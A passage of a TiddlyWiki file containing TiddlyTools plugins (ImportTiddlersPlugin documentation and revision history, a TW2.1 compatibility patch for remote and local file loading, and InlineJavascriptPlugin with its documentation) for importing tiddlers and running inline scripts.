			<input type=checkbox class="chk" id="importApplyToAll" 
			onclick="document.getElementById('importRename').disabled=this.checked;"
			checked>apply to all
		</td></tr></table>
		<input type=text id="importNewTitle" size=15 autocomplete=off">
	</td><td style="width:34%" align="center">
		<input type=button id="importMerge"
			class="importButton" style="width:47%" value="merge"
			title="append the incoming tiddler to the existing tiddler"
			onclick="onClickImportButton(this)"><!--
		--><input type=button id="importSkip"
			class="importButton" style="width:47%" value="skip"
			title="do not import this tiddler"
			onclick="onClickImportButton(this)"><!--
		--><br><input type=button id="importRename"
			class="importButton" style="width:47%" value="rename"
			title="rename the incoming tiddler"
			onclick="onClickImportButton(this)"><!--
		--><input type=button id="importReplace"
			class="importButton" style="width:47%" value="replace"
			title="discard the existing tiddler"
			onclick="onClickImportButton(this)">
	</td></tr></table>
</div><!--end collision-->
!end
//}}}
***/
 
/***
|Name|ImportTiddlersPluginInfo|
|Source|http://www.TiddlyTools.com/#ImportTiddlersPlugin|
|Documentation|http://www.TiddlyTools.com/#ImportTiddlersPluginInfo|
|Version|4.6.0|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|documentation|
|Description|documentation for ImportTiddlersPlugin|
Combine tiddlers from any two TiddlyWiki documents.  An interactive control panel lets you pick a source document and import selected tiddlers, with prompting for skip, rename, merge or replace actions when importing tiddlers that match existing titles.  Generates a detailed report of import 'history' in ImportedTiddlers.
!!!!!Usage
<<<
{{{<<importTiddlers>>}}} or {{{<<importTiddlers core>>}}}
invokes the built-in importTiddlers macro (TW2.1.x+).  If installed in documents using TW2.0.x or earlier, fallback is to use 'link' display (see below)

{{{<<importTiddlers link label tooltip>>}}}
The ''link'' keyword creates an "import tiddlers" link that when clicked to show/hide import control panel.  ''label'' and ''tooltip'' are optional text parameters (enclosed in quotes or {{{[[...]]}}}, and allow you to override the default display text for the link and the mouseover help text, respectively.

{{{<<importTiddlers inline>>}}}
creates import control panel directly in tiddler content

<<importTiddlers inline>>

Enter a document URL or press "..." to select a TiddlyWiki file to import, and then press ''[open]''.  //Note: There may be a delay before the list of tiddlers appears.//  Use the ''[-]'', ''[+]'', or ''[=]'' links to adjust the listbox size so you can view more (or less) tiddler titles at one time.

Select one or more titles from the listbox.  Use CTRL-click or SHIFT-click to select/deselect individual titles.  Click on ''all'', ''new'', ''changes'', or ''differences'' to automatically select a subset of tiddlers from the list, based on a comparison of the two documents:
*''all'' selects ALL tiddlers from the import source document, even if they have not been changed.
*''new'' selects only tiddlers that are found in the import source document, but do not yet exist in the destination document
*''changes'' selects only tiddlers that exist in both documents but that are newer in the source document
*''differences'' selects all new and existing tiddlers that are different from the destination document (even if destination tiddler is newer)

Press ''[import]'' to begin copying tiddlers to the current document.  If an 'inbound' tiddler matches one that already exists in the document, the import process pauses and the tiddler title is displayed in an input field, along with four push buttons: ''skip'', ''rename'', ''merge'' and ''replace''.
* to bypass importing the tiddler, press ''skip''
* to give the inbound tiddler a different name, so that both the old and new tiddlers will exist when the import is done, enter a new title in the input field and press ''rename'' 
* to combine the content from both tiddlers into a single tiddler so you can then edit it later to eliminate unwanted content, press ''merge''
* to overwrite the existing tiddler with the imported one (discarding the previous content), press ''[replace]''

''Import Report History''

Whenever tiddlers are imported, a report is generated into a tiddler named [[ImportedTiddlers]], recording when the latest import was performed, the number of tiddlers successfully imported, from what location, and by whom, as well as a list of the tiddlers that were processed.  When more tiddlers are imported at a later time, a new report is //added// to the existing [[ImportedTiddlers]], above the previous report (i.e., at the top of the tiddler), so that a history of imports is maintained.  If this record is not desired, you can delete [[ImportedTiddlers]] at any time.

Note: You can prevent a report from being generated for any given import activity by clearing the "create a report" checkbox before pressing the ''import'' button
<<<
!!!!!Installation Notes
<<<
* As of 6/27/2007, support for TW2.1.x and earlier have been moved to [[ImportTiddlersPluginPatch]].  ''//Only install the patch plugin when using TW2.1.x or earlier.//''
<<<
!!!!!Revisions
<<<
2009.10.06 4.6.0 added createTiddlerFromFile (import text files)
2009.09.27 4.5.5 in readTiddlersFromCSV(), strip \r from input and fixed handling for quoted values
2009.09.12 4.5.4 fixed 'return false' to prevent IE page transition. Also, moved html/css definitions to separate sections
2009.08.23 4.5.3 in importTiddlers(), add 'file:///' to local server.host sync field only if not already present in URL
2009.08.20 4.5.2 only use SiteURL/SiteProxy values if control panel value has not yet been set
2009.07.03 4.5.1 fixups for TW252: doHttp() doesn't return XHR and convertUTF8ToUnicode() not needed for local I/O
2009.05.04 4.5.0 import from CSV-formatted files
2009.03.04 4.4.2 in createImportPanel(), init option checkboxes so display matches internal state variables
2009.02.26 4.4.1 use macro-specific definition of $() function abbreviation (avoids conflict with JQuery)
2008.09.30 4.4.0 added fallback definition of merge() for use with TW2.0.x and TW1.2.x
2008.08.12 4.3.3 rewrite backstage and shadow tiddler definitions for easier customization
2008.08.05 4.3.2 rewrote loadRemoteFile() to eliminate use of platform-specific fileExists() function
2008.06.29 4.3.1 More layout/animation work for simpler sequential interaction.  Code reduction/cleanup
2008.06.28 4.3.0 HTML and CSS cleanup and tweaks to layout.  Added animation to panels
2008.06.22 4.2.0 For FireFox, use HTML with separate text+button control instead of type='file' control
2008.06.05 4.1.0 in filterByHash(), added support for boolean tag expressions using getMatchingTiddlers() (defined by MatchTagsPlugin)
2008.05.12 4.0.2 automatically tweak the backstage "import" task to add the ImportTiddlers control panel
2008.04.30 4.0.1 trim #... suffix for loading files/URLs in IE
2008.04.30 4.0.0 added source filtering (using URL paramifiers).  Also, abbreviations for code-size reduction.
2008.04.13 3.9.0 added 'apply to all' checkbox for collision processing
2008.03.26 3.8.0 added support for selecting pre-defined systemServer URLs
2008.03.25 3.7.0 added support for setting 'server' fields on imported tiddlers (for later synchronizing of changes)
2008.01.03 3.6.0 in loadRemoteFile(), use lower-level doHttp() instead of loadRemoteFile() in order to support username/password access to remote server
2007.10.30 3.5.6 update [[ImportTiddlers]] shadow tiddler definition to include "inline" link
2007.06.27 3.5.5 added missing 'fields' params to saveTiddler() calls.  Fixes problem where importing tiddlers would lose the custom fields.  Also, moved functions for TW2.1.x to [[ImportTiddlersPluginPatch2.1.x]].
2007.06.25 3.5.4 added calls to store.suspendNotifications() and store.resumeNotifications().  Eliminates redisplay processing overhead DURING import activities
2007.04.29 3.5.3 in refreshImportList() when inbound tiddlers are loaded, change "close" button to "done", and disable certain controls to creates a modal condition, so that actions that reload tiddlers cannot be performed unless "done" is first pressed to end the mode..
2007.04.28 3.5.2 in handler(), added param support for custom link label/prompt
2007.04.19 3.5.1 in readTiddlersFromHTML(), for TW2.2 and above, use importTiddlyWiki() (new core functionality) to get tiddlers from remote file content.  Also, copied updated TW21Loader.prototype.internalizeTiddler() definition from TW2.2b5 so plugin can read tiddlers from TW2.2+ even when running under TW2.1.x
2007.03.22 3.5.0 in refreshImportList(), add handling for 'select section' when a heading is selected.  Makes it really easy to import by tag or date!
2007.03.21 3.4.0 split loadTiddlers functionality into separate plugin (see [[LoadTiddlersPlugin]])
2007.03.20 3.3.1 tweak to previous change to allow relative file references via http: (bypasses getLocalPath() so remote URL will be used)
2007.03.20 3.3.0 added support for local, relative file references: in loadRemoteFile(), check for fileExists().  If not found, prepend relative path and retry.
2007.02.24 3.2.1 re-labeled control panel "open" button to "load"
2007.02.09 3.2.0 loadTiddlers: added support for "noReload" tag (prevents overwriting existing tiddler, even if inbound tiddler is newer)
2007.02.08 3.1.3 loadTiddlers: added missing code and documentation for "newTags" handling (a feature change from long, long ago that somehow got lost!)
2006.11.14 3.1.2 fix macro handler parameter declaration (double-pasted param list corrupts IE)
2006.11.13 3.1.1 use apply() method to invoke hijacked core handler
2006.11.13 3.1.0 hijack built-in importTiddlers.handler() to co-exist with plugin interface.  If no params or 'core' keyword, display core interface.  "link" param embeds "import tiddlers" link that shows floating panel when clicked.
2006.10.12 3.0.8 in readTiddlersFromHTML(), fallback to find end of store area by matching "/body" when POST-BODY-START is not present (backward compatibility for older documents)
2006.09.10 3.0.7 in readTiddlersFromHTML(), find end of store area by matching "POST-BODY-START" instead of "/body" 
2006.08.16 3.0.6 Use higher-level store.saveTiddler() instead of store.addTiddler() to avoid conflicts with adaptations that hijack low-level tiddler handling.  in CreateImportPanel(), removed "refresh listbox after every tiddler change".
2006.07.29 3.0.5 added noChangeMsg to loadTiddlers processing.  if not 'quiet' mode, reports skipped tiddlers.
2006.04.18 3.0.4 in loadTiddlers.handler, fixed parsing of "prompt:" param. Also, corrected parameters mismatch in loadTiddlers() callback function definition (order of params was wrong, resulting in filters NOT being applied)
2006.04.12 3.0.3 moved many display messages to macro properties for easier L10N translations via 'lingo' definitions.
2006.04.12 3.0.2 more work on 'core candidate' code.  Proposed API now defines "loadRemoteFile()" for XMLHttpRequest processing with built in fallback for handling local filesystem access, and readTiddlersFromHTML() to process the resulting source HTML content.
2006.04.04 3.0.1 in refreshImportList(), when using [by tags], tiddlers without tags are now included in a new "untagged" psuedo-tag list section
2006.04.04 3.0.0 Separate non-interactive {{{<<importTiddlers...>>}}} macro functionality for incorporation into TW2.1 core and renamed as {{{<<loadTiddlers>>}}} macro.  New parameters for loadTiddlers: ''label:text'' and ''prompt:text'' for link creation,  ''ask'' for filename/URL, ''tag:text'' for filtering, "confirm" for accept/reject of individual inbound tiddlers.  Removed support for "importReplace/importPublic" tags and "force" param (unused feature). 
2006.03.30 2.9.1 when extracting store area from remote URL, look for "</body>" instead of "</body>\n</html>" so it will match even if the "\n" is absent from the source.
2006.03.30 2.9.0 added optional 'force' macro param.  When present, autoImportTiddlers() bypasses the checks for importPublic and importReplace.  Based on a request from Tom Otvos.
2006.03.28 2.8.1 in loadImportFile(), added checks to see if 'netscape' and 'x.overrideMimeType()' are defined (not in IE). Also, when extracting store area, look for "</body>\n</html>" and omit extra content that may have been added to the end of the file.
2006.02.21 2.8.0 added support for "tiddler:TiddlerName" filtering parameter in auto-import processing
2006.02.21 2.7.1 Clean up layout problems with IE.  (Use tables for alignment instead of SPANs styled with float:left and float:right)
2006.02.21 2.7.0 Added "local file" and "web server" radio buttons.  Default remote URL uses value from [[SiteURL]].  Also, added 'proxy' option, using value from [[SiteProxy]] as prefix to permit cross-domain document access via server-side scripting.
2006.02.17 2.6.0 Removed "differences only" listbox display mode, replaced with selection filter 'presets': all/new/changes/differences.  fixed init of "add new tags" checkbox
2006.02.16 2.5.4 added checkbox options to control "import remote tags" and "keep existing tags" behavior, in addition to existing "add new tags" functionality.
2006.02.14 2.5.3 FF1501 corrected unintended global 't' (loop index) in importReport() and autoImportTiddlers()
2006.02.10 2.5.2 corrected unintended global variable in importReport().
2006.02.05 2.5.1 moved globals from window.* to config.macros.importTiddlers.* to avoid FireFox 1.5.0.1 crash bug when referencing globals
2006.01.18 2.5.0 added checkbox for "create a report".  Default is to create/update the ImportedTiddlers report.
2006.01.15 2.4.1 added "importPublic" tag and inverted default so that auto sharing is NOT done unless tagged with importPublic
2006.01.15 2.4.0 Added support for tagging tiddlers with importSkip, importReplace, and/or importPrivate to enable/disable overwriting or sharing with others when using auto-import macro syntax.  Defaults: don't overwrite existing tiddlers, and allow your tiddlers to be auto-imported by others.
2006.01.15 2.3.2 Added "ask" parameter to confirm each tiddler before importing (for use with auto-importing)
2006.01.15 2.3.1 Strip TW core scripts from import source content and load just the storeArea into the hidden IFRAME to prevent imported document's core code from being invoked.  Also, when importing local documents, use convertUTF8ToUnicode() to support international characters sets.
2006.01.12 2.3.0 Reorganized code to use callback function for loading import files to support event-driven I/O via an ASYNCHRONOUS XMLHttpRequest instead of waiting for remote hosts to respond to URL requests.  Added non-interactive 'batch' mode, using macro parameters to specify source path/file or URL, and select tiddlers to import.  Improved messages and added optional 'quiet' switch for batch mode to eliminate //most// feedback.
2006.01.11 2.2.0 Added "[by tags]" to list of tiddlers, based on code submitted by BradleyMeck
2006.01.08 2.1.0 IMPORT FROM ANYWHERE!!! re-write getImportedTiddlers() logic to either read a local file (using local I/O), OR... read a remote file, using a combination of XML and an iframe to permit cross-domain reading of DOM elements.  Adapted from example code and techniques courtesy of Jonny LeRoy.
2006.01.06 2.0.2 When refreshing list contents, fixed check for tiddlerExists() when "show differences only" is selected, so that imported tiddlers that don't exist in the current file will be recognized as differences and included in the list.
2006.01.04 2.0.1 When "show differences only" is NOT checked, import all tiddlers that have been selected even when they have a matching title and date.
2005.12.27 2.0.0 Update for TW2.0
Defer initial panel creation and only register a notification function when panel first is created
2005.12.22 1.3.1 tweak formatting in importReport() and add 'discard report' link to output
2005.12.03 1.3.0 Dynamically create/remove importPanel as needed to ensure only one instance of interface elements exists, even if there are multiple instances of macro embedding.  Also, dynamically create/recreate importFrame each time an external TW document is loaded for importation (reduces DOM overhead and ensures a 'fresh' frame for each document)
2005.11.29 1.2.1 fixed formatting of 'detail info' in importReport()
2005.11.11 1.2.0 added 'inline' param to embed controls in a tiddler
2005.11.09 1.1.0 only load HTML and CSS the first time the macro handler is called.  Allows for redundant placement of the macro without creating multiple instances of controls with the same ID's.
2005.10.25 1.0.5 fixed typo in importReport() that prevented reports from being generated
2005.10.09 1.0.4 combined documentation with plugin code instead of using separate tiddlers
2005.08.05 1.0.3 moved CSS and HTML definitions into plugin code instead of using separate tiddlers
2005.07.27 1.0.2 core update 1.2.29: custom overlayStyleSheet() replaced with new core setStylesheet()
2005.07.23 1.0.1 added parameter checks and corrected addNotification() usage
2005.07.20 1.0.0 Initial Release
<<<
/***
|Name|ImportTiddlersPluginPatch|
|Source|http://www.TiddlyTools.com/#ImportTiddlersPluginPatch|
|Version|4.4.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires|ImportTiddlersPlugin|
|Overrides|config.macros.importTiddlers.handler|
|Description|backward-compatible function patches for use with ImportTiddlersPlugin and TW2.1.x or earlier|
!!!!!Usage
<<<
The current version ImportTiddlersPlugin is compatible with the TW2.2.x core functions.  This "patch" plugin provides additional functions needed to enable the current version of ImportTiddlersPlugin to operate correctly under TW2.1.x or earlier.

{{medium{You do not need to install this plugin if you are using TW2.2.0 or above}}}
(though it won't hurt anything if you do... it will just take up more space).
<<<
!!!!!Revisions
<<<
2008.09.30 [4.4.0] added safety check for TW21Loader object and forward-compatible loadFromDiv() prototype to permit use with TW2.0.x and TW1.2.x.
2008.08.05 [4.3.2] rewrote loadRemoteFile to eliminate use of platform-specific fileExists() function
2008.01.03 [3.6.0] added support for passing txtRemoteUsername and txtRemotePassword for accessing password-protected remote servers
2007.06.27 [3.5.5] compatibility functions split from ImportTiddlersPlugin
|please see [[ImportTiddlersPlugin]] for additional revision details|
2005.07.20 [1.0.0] Initial Release
<<<
!!!!!Code
***/
//{{{
// these functions are only defined when installed in TW2.1.x and earlier... 
if (version.major+version.minor/10 <= 2.1) {

// Version
version.extensions.ImportTiddlersPluginPatch= {major: 4, minor: 4, revision: 0, date: new Date(2008,9,30)};

// fixups for TW2.0.x and earlier
if (window.merge==undefined) window.merge=function(dst,src,preserveExisting)
	{ for (p in src) if (!preserveExisting||dst[p]===undefined) dst[p]=src[p]; return dst; }
if (config.macros.importTiddlers==undefined) config.macros.importTiddlers={ };

config.macros.importTiddlers.loadRemoteFile = function(src,callback,quiet) {
	if (src==undefined || !src.length) return null; // filename is required
	if (!quiet) clearMessage();
	if (!quiet) displayMessage(this.openMsg.format([src]));

	if (src.substr(0,5)!="http:" && src.substr(0,5)!="file:") { // if not a URL, read from local filesystem
		var txt=loadFile(src);
		if (!txt) { // file didn't load, might be relative path.. try fixup
			var pathPrefix=document.location.href;  // get current document path and trim off filename
			var slashpos=pathPrefix.lastIndexOf("/"); if (slashpos==-1) slashpos=pathPrefix.lastIndexOf("\\"); 
			if (slashpos!=-1 && slashpos!=pathPrefix.length-1) pathPrefix=pathPrefix.substr(0,slashpos+1);
			src=pathPrefix+src;
			if (pathPrefix.substr(0,5)!="http:") src=getLocalPath(src);
			var txt=loadFile(src);
		}
		if (!txt) { // file still didn't load, report error
			if (!quiet) displayMessage(config.macros.importTiddlers.openErrMsg.format([src.replace(/%20/g," "),"(filesystem error)"]));
		} else {
			if (!quiet) displayMessage(config.macros.importTiddlers.readMsg.format([txt.length,src.replace(/%20/g," ")]));
			if (callback) callback(true,src,convertUTF8ToUnicode(txt),src,null);
		}
	} else {
		var x; // get an request object
		try {x = new XMLHttpRequest()} // moz
		catch(e) {
			try {x = new ActiveXObject("Msxml2.XMLHTTP")} // IE 6
			catch (e) {
				try {x = new ActiveXObject("Microsoft.XMLHTTP")} // IE 5
				catch (e) { return }
			}
		}
		// setup callback function to handle server response(s)
		x.onreadystatechange = function() {
			if (x.readyState == 4) {
				if (x.status==0 || x.status == 200) {
					if (!quiet) displayMessage(config.macros.importTiddlers.readMsg.format([x.responseText.length,src]));
					if (callback) callback(true,src,x.responseText,src,x);
				}
				else {
					if (!quiet) displayMessage(config.macros.importTiddlers.openErrMsg.format([src,x.status]));
				}
			}
		}
		// get privileges to read another document's DOM via http:// or file:// (moz-only)
		if (typeof(netscape)!="undefined") {
			try { netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead"); }
			catch (e) { if (!quiet) displayMessage(e.description?e.description:e.toString()); }
		}
		// send the HTTP request
		try {
			var url=src+(src.indexOf('?')<0?'?':'&')+'nocache='+Math.random();
			x.open("GET",src,true,config.options.txtRemoteUsername,config.options.txtRemotePassword);
			if (x.overrideMimeType) x.overrideMimeType('text/html');
			x.send(null);
		}
		catch (e) {
			if (!quiet) {
				displayMessage(config.macros.importTiddlers.openErrMsg.format([src,"(unknown)"]));
				displayMessage(e.description?e.description:e.toString());
			}
		}
	}
}

config.macros.importTiddlers.readTiddlersFromHTML=function(html) {
	// for TW2.1 and earlier
	// extract store area from html 
	var start=html.indexOf('<div id="storeArea">');
	var end=html.indexOf("<!--POST-BODY-START--"+">",start);
	if (end==-1) var end=html.indexOf("</body"+">",start); // backward-compatibility for older documents
	var sa="<html><body>"+html.substring(start,end)+"</body></html>";

	// load html into iframe document
	var f=document.getElementById("loaderFrame"); if (f) document.body.removeChild(f);
	f=document.createElement("iframe"); f.id="loaderFrame";
	f.style.width="0px"; f.style.height="0px"; f.style.border="0px";
	document.body.appendChild(f);
	var d=f.document;
	if (f.contentDocument) d=f.contentDocument; // For NS6
	else if (f.contentWindow) d=f.contentWindow.document; // For IE5.5 and IE6
	d.open(); d.writeln(sa); d.close();

	// read tiddler DIVs from storeArea DOM element	
	var sa = d.getElementById("storeArea");
	if (!sa) return null;
	sa.normalize();
	var nodes = sa.childNodes;
	if (!nodes || !nodes.length) return null;
	var tiddlers = [];
	for(var t = 0; t < nodes.length; t++) {
		var title = null;
		if(nodes[t].getAttribute)
			title = nodes[t].getAttribute("title"); // TW 2.2+
		if(!title && nodes[t].getAttribute)
			title = nodes[t].getAttribute("tiddler"); // TW 2.1.x
		if(!title && nodes[t].id && (nodes[t].id.substr(0,5) == "store"))
			title = nodes[t].id.substr(5); // TW 1.2.x
		if(title && title != "")
			tiddlers.push((new Tiddler()).loadFromDiv(nodes[t],title));
	}
	return tiddlers;
}

// // FORWARD-COMPATIBLE SUPPORT FOR TW2.1.x
// // enables reading tiddler definitions using TW2.2+ storeArea format, even when plugin is running under TW2.1.x
if (typeof TW21Loader!="undefined") {
TW21Loader.prototype.internalizeTiddler = function(store,tiddler,title,node) {
	var e = node.firstChild;
	var text = null;
	if(node.getAttribute("tiddler"))
		text = getNodeText(e).unescapeLineBreaks();
	else {
		while(e.nodeName!="PRE" && e.nodeName!="pre") e = e.nextSibling;
		text = e.innerHTML.replace(/\r/mg,"").htmlDecode();
	}
	var modifier = node.getAttribute("modifier");
	var c = node.getAttribute("created");
	var m = node.getAttribute("modified");
	var created = c ? Date.convertFromYYYYMMDDHHMM(c) : version.date;
	var modified = m ? Date.convertFromYYYYMMDDHHMM(m) : created;
	var tags = node.getAttribute("tags");
	var fields = {};
	var attrs = node.attributes;
	for(var i = attrs.length-1; i >= 0; i--) {
		var name = attrs[i].name;
		if (attrs[i].specified && !TiddlyWiki.isStandardField(name))
			fields[name] = attrs[i].value.unescapeLineBreaks();
		
	}
	tiddler.assign(title,text,modifier,modified,tags,created,fields);
	return tiddler;
};
}

// FORWARD-COMPATIBLE SUPPORT FOR TW2.0.x and TW1.2.x
// enables reading tiddler definitions using TW2.2+ storeArea format, even when plugin is running under TW2.0.x or TW1.2.x
if (typeof Tiddler.prototype.loadFromDiv!="undefined") {
Tiddler.prototype.loadFromDiv = function(node,title) { // Load a tiddler from an HTML DIV
	var e = node.firstChild;
	var text = null;
	if(node.getAttribute("tiddler")) {
		// get merged text from adjacent text nodes
		var t=""; while(e&&e.nodeName=="#text") { t+=e.nodeValue; e=e.nextSibling; }
		text = Tiddler.unescapeLineBreaks(t);
	} else {
		while(e.nodeName!="PRE" && e.nodeName!="pre") e = e.nextSibling;
		text = e.innerHTML.replace(/\r/mg,"").htmlDecode();
	}
	var modifier = node.getAttribute("modifier");
	var c = node.getAttribute("created");
	var m = node.getAttribute("modified");
	var created = c ? Date.convertFromYYYYMMDDHHMM(c) : version.date;
	var modified = m ? Date.convertFromYYYYMMDDHHMM(m) : created;
	var tags = node.getAttribute("tags");
	this.set(title,text,modifier,modified,tags,created);
	return this;
}
}

} // END OF pre-TW2.2 backward-compatibility functions
//}}}
Keep these people informed on ProjectStatus and Progress

order:4
button:i
buttonLong:informed
/***
|Name|InlineJavascriptPlugin|
|Source|http://www.TiddlyTools.com/#InlineJavascriptPlugin|
|Documentation|http://www.TiddlyTools.com/#InlineJavascriptPluginInfo|
|Version|1.8.1|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Description|Insert Javascript executable code directly into your tiddler content.|
''Call directly into TW core utility routines, define new functions, calculate values, add dynamically-generated TiddlyWiki-formatted output'' into tiddler content, or perform any other programmatic actions each time the tiddler is rendered.
!!!!!Documentation
>see [[InlineJavascriptPluginInfo]]
!!!!!Revision History
<<<
2008.02.14 [1.8.1] added backward-compatibility for use of wikifyPlainText() in TW2.1.3 and earlier
2008.01.08 [*.*.*] plugin size reduction: documentation moved to ...Info and ...History tiddlers
2007.12.28 [1.8.0] added support for key="X" syntax to specify custom access key definitions
|please see [[InlineJavascriptPluginHistory]] for additional revision details|
2005.11.08 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.inlineJavascript= {major: 1, minor: 8, revision: 1, date: new Date(2008,2,14)};

config.formatters.push( {
	name: "inlineJavascript",
	match: "\\<script",
	lookahead: "\\<script(?: src=\\\"((?:.|\\n)*?)\\\")?(?: label=\\\"((?:.|\\n)*?)\\\")?(?: title=\\\"((?:.|\\n)*?)\\\")?(?: key=\\\"((?:.|\\n)*?)\\\")?( show)?\\>((?:.|\\n)*?)\\</script\\>",

	handler: function(w) {
		var lookaheadRegExp = new RegExp(this.lookahead,"mg");
		lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = lookaheadRegExp.exec(w.source)
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var src=lookaheadMatch[1];
			var label=lookaheadMatch[2];
			var tip=lookaheadMatch[3];
			var key=lookaheadMatch[4];
			var show=lookaheadMatch[5];
			var code=lookaheadMatch[6];
			if (src) { // load a script library
				// make script tag, set src, add to body to execute, then remove for cleanup
				var script = document.createElement("script"); script.src = src;
				document.body.appendChild(script); document.body.removeChild(script);
			}
			if (code) { // there is script code
				if (show) // show inline script code in tiddler output
					wikify("{{{\n"+lookaheadMatch[0]+"\n}}}\n",w.output);
				if (label) { // create a link to an 'onclick' script
					// add a link, define click handler, save code in link (pass 'place'), set link attributes
					var link=createTiddlyElement(w.output,"a",null,"tiddlyLinkExisting",wikifyPlainText(label));
					link.onclick=function(){try{return(eval(this.code))}catch(e){alert(e.description||e.toString())}}
					var fixup=code.replace(/document.write\s*\(/gi,'place.innerHTML+=(');
					link.code="function _out(place){"+fixup+"\n};_out(this);"
					link.setAttribute("title",tip||"");
					var URIcode='javascript:void(eval(decodeURIComponent(%22(function(){try{';
					URIcode+=encodeURIComponent(encodeURIComponent(code.replace(/\n/g,' ')));
					URIcode+='}catch(e){alert(e.description||e.toString())}})()%22)))';
					link.setAttribute("href",URIcode);
					link.style.cursor="pointer";
					if (key) link.accessKey=key.substr(0,1); // single character only
				}
				else { // run inline script code
					var fixup=code.replace(/document.write\s*\(/gi,'place.innerHTML+=(');
					var code="function _out(place){"+fixup+"\n};_out(w.output);"
					try { var out=eval(code); } catch(e) { out=e.description?e.description:e.toString(); }
					if (out && out.length) wikify(out,w.output,w.highlightRegExp,w.tiddler);
				}
			}
			w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
		}
	}
} )
//}}}

// // Backward-compatibility for TW2.1.x and earlier
//{{{
if (typeof(wikifyPlainText)=="undefined") function wikifyPlainText(text,limit,tiddler) {
	if(limit > 0) text = text.substr(0,limit);
	var wikifier = new Wikifier(text,formatter,null,tiddler);
	return wikifier.wikifyPlain();
}
//}}}
/***
|Name|InlineJavascriptPluginInfo|
|Source|http://www.TiddlyTools.com/#InlineJavascriptPlugin|
|Documentation|http://www.TiddlyTools.com/#InlineJavascriptPluginInfo|
|Version|1.9.6|
|Author|Eric Shulman|
|License|http://www.TiddlyTools.com/#LegalStatements|
|~CoreVersion|2.1|
|Type|documentation|
|Description|Documentation for InlineJavascriptPlugin|
''Call directly into TW core utility routines, define new functions, calculate values, add dynamically-generated TiddlyWiki-formatted output'' into tiddler content, or perform any other programmatic actions each time the tiddler is rendered.
!!!!!Usage
<<<
This plugin adds wiki syntax for surrounding tiddler content with {{{<script>}}} and {{{</script>}}} markers, so that it can be recognized as embedded javascript code.  When a tiddler is rendered, the plugin automatically invokes any embedded scripts, which can be used to construct and return dynamically-generated output that is inserted into the tiddler content.
{{{
<script type="..." src="..." label="..." title="..." key="..." show>
	/* javascript code goes here... */
</script>
}}}
All parameters are //optional//.    When the ''show'' keyword is used, the plugin will also include the script source code in the output that it displays in the tiddler.  This is helpful when creating examples for documentation purposes (such as used in this tiddler!)

__''Deferred execution from an 'onClick' link''__
<script label="click here" title="mouseover tooltip text" key="X" show>
	/* javascript code goes here... */
	alert('you clicked on the link!');
</script>
By including a {{{label="..."}}} parameter in the initial {{{<script>}}} marker, the plugin will create a link to an 'onclick' script that will only be executed when that specific link is clicked, rather than running the script each time the tiddler is rendered.  You may also include a {{{title="..."}}} parameter to specify the 'tooltip' text that will appear whenever the mouse is moved over the onClick link text, and a {{{key="X"}}} parameter to specify an //access key// (which must be a //single// letter or numeric digit only).

__''Loading scripts from external source files''__
<script src="URL" show>
	/* optional javascript code goes here... */
</script>You can also load javascript directly from an external source URL, by including a src="..." parameter in the initial {{{<script>}}} marker (e.g., {{{<script src="demo.js"></script>}}}).  This is particularly useful when incorporating third-party javascript libraries for use in custom extensions and plugins.  The 'foreign' javascript code remains isolated in a separate file that can be easily replaced whenever an updated library file becomes available.

In addition to loading the javascript from the external file, you can also use this feature to invoke javascript code contained within the {{{<script>...</script>}}} markers.  This code is invoked //after// the external script file has been processed, and can make immediate use of the functions and/or global variables defined by the external script file.
>Note: To ensure that your javascript functions are always available when needed, you should load the libraries from a tiddler that is rendered as soon as your TiddlyWiki document is opened, such as MainMenu.  For example: put your {{{<script src="..."></script>}}} syntax into a separate 'library' tiddler (e.g., LoadScripts), and then add {{{<<tiddler LoadScripts>>}}} to MainMenu so that the library is loaded before any other tiddlers that rely upon the functions it defines. 
>
>Normally, loading external javascript in this way does not produce any direct output, and should not have any impact on the appearance of your MainMenu.  However, if your LoadScripts tiddler contains notes or other visible content, you can suppress this output by using 'inline CSS' in the MainMenu, like this: {{{@@display:none;<<tiddler LoadScripts>>@@}}}
<<<
!!!!!Creating dynamic tiddler content and accessing the ~TiddlyWiki DOM
<<<
An important difference between TiddlyWiki inline scripting and conventional embedded javascript techniques for web pages is the method used to produce output that is dynamically inserted into the document: in a typical web document, you use the {{{document.write()}}} (or {{{document.writeln()}}}) function to output text sequences (often containing HTML tags) that are then rendered when the entire document is first loaded into the browser window.

However, in a ~TiddlyWiki document, tiddlers (and other DOM elements) are created, deleted, and rendered "on-the-fly", so writing directly to the global 'document' object does not produce the results you want (i.e., replacing the embedded script within the tiddler content), and instead will //completely replace the entire ~TiddlyWiki document in your browser window (which is clearly not a good thing!)//.  In order to allow scripts to use {{{document.write()}}}, the plugin automatically converts and buffers all HTML output so it can be safely inserted into your tiddler content, immediately following the script.

''Note that {{{document.write()}}} can only be used to output "pure HTML" syntax.  To produce //wiki-formatted// output, your script should instead return a text value containing the desired wiki-syntax content'', which will then be automatically rendered immediately following the script.  If returning a text value is not sufficient for your needs, the plugin also provides an automatically-defined variable, 'place', that gives the script code ''direct access to the //containing DOM element//'' into which the tiddler output is being rendered.  You can use this variable to ''perform direct DOM manipulations'' that can, for example:
* generate wiki-formatted output using {{{wikify("...content...",place)}}}
* vary the script's actions based upon the DOM element in which it is embedded
* access 'tiddler-relative' DOM information using {{{story.findContainingTiddler(place)}}}
Note:
''When using an 'onclick' script, the 'place' element actually refers to the onclick //link text// itself, instead of the containing DOM element.''  This permits you to directly reference or modify the link text to reflect any 'stateful' conditions that might set by the script.  To refer to the containing DOM element from within an 'onclick' script, you can use "place.parentNode" instead.
<<<
!!!!!Instant "bookmarklets"
<<<
